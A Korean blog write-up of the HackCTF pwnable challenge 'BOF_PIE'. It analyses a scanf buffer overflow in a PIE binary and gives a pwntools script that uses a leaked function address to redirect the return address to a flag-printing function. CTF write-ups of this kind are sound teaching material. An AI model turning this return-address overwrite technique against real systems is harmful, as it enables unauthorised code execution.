tmxklab

[HackCTF/Pwnable] BOF_PIE 본문

War Game/HackCTF

[HackCTF/Pwnable] BOF_PIE

tmxk4221 2020. 1. 28. 17:05

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3008

 

1) 접속

  • 문자열 출력과 동시에 프로그램은 아무런 수행없이 종료

 

2) IDA(Pseudocode)확인 - main()

  • welcome() 실행 및 puts()를 통해 문자열 출력

 

3) IDA(Pseudocode)확인 - welcome()

  • printf()를 통해 welcome()의 주소 값 출력
  • scanf()를 통해 입력 값을 v1에 저장 -> bof 취약점 존재

 

4) IDA(Pseudocode)확인 - j0n9hyun()

  • flag파일을 읽기모드로 열어 파일 내용을 출력
  • 실행시켜야할 함수

 

5) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인

  • RELRO : Partial RELRO
  • NX : DEP가 적용되어 있음 -> heap, stack, data영역에 실행권한 없음
  • PIE : 코드영역을 포함한 모든 영역 랜덤하게 매핑 But, Base주소만 달라지며 함수의 Base주소로부터 offset은 동일

2. 접근방법

1) 스택구조(welcome)

 

2) 결론

  • 메모리 보호기법 중 우연히 Stack canary가 걸려있지 않으며 scanf()를 통해 ret의 주소 변경 가능
  • PIE가 걸려있지만 Base주소만 달라지며 각 함수들의 Base주소로부터 offset은 변하지 않음
  • 따라서, scanf()와 offset을 이용하여 welcome()의 리턴 값을 j0n9hyun()으로 조작 가능

3. 풀이

1) 함수들의 offset확인

  • j0n9hyun : 0x000000890
  • welcome : 0x000000909

 

2) base주소로 부터 각 함수들 위치

 

3) 공격코드 작성

from pwn import *   # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3008)

w_offset = 0x00000909 # welcome offset
j_offset = 0x00000890 # j0n9hyun offset

p.recvuntil("j0n9hyun is ")
w_addr = int(p.recv(10), 16) # welcome address
j_addr = w_addr - (w_offset - j_offset) # j0n9hyun address

payload = "A"*22 + p32(j_addr) # welcome에서 RET전까지 22bytes
p.sendline(payload)
p.interactive()

 

4) 공격 실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] RTL_World  (0) 2020.02.22
[HackCTF/Pwnable] Yes or no  (0) 2020.02.22
[HackCTF/Pwnable] Offset  (0) 2020.01.27
[HackCTF/Pwnable] Simple_Overflow_ver_2  (0) 2020.01.27
[HackCTF/Pwnable] x64 Simple_size_BOF  (0) 2020.01.27
Comments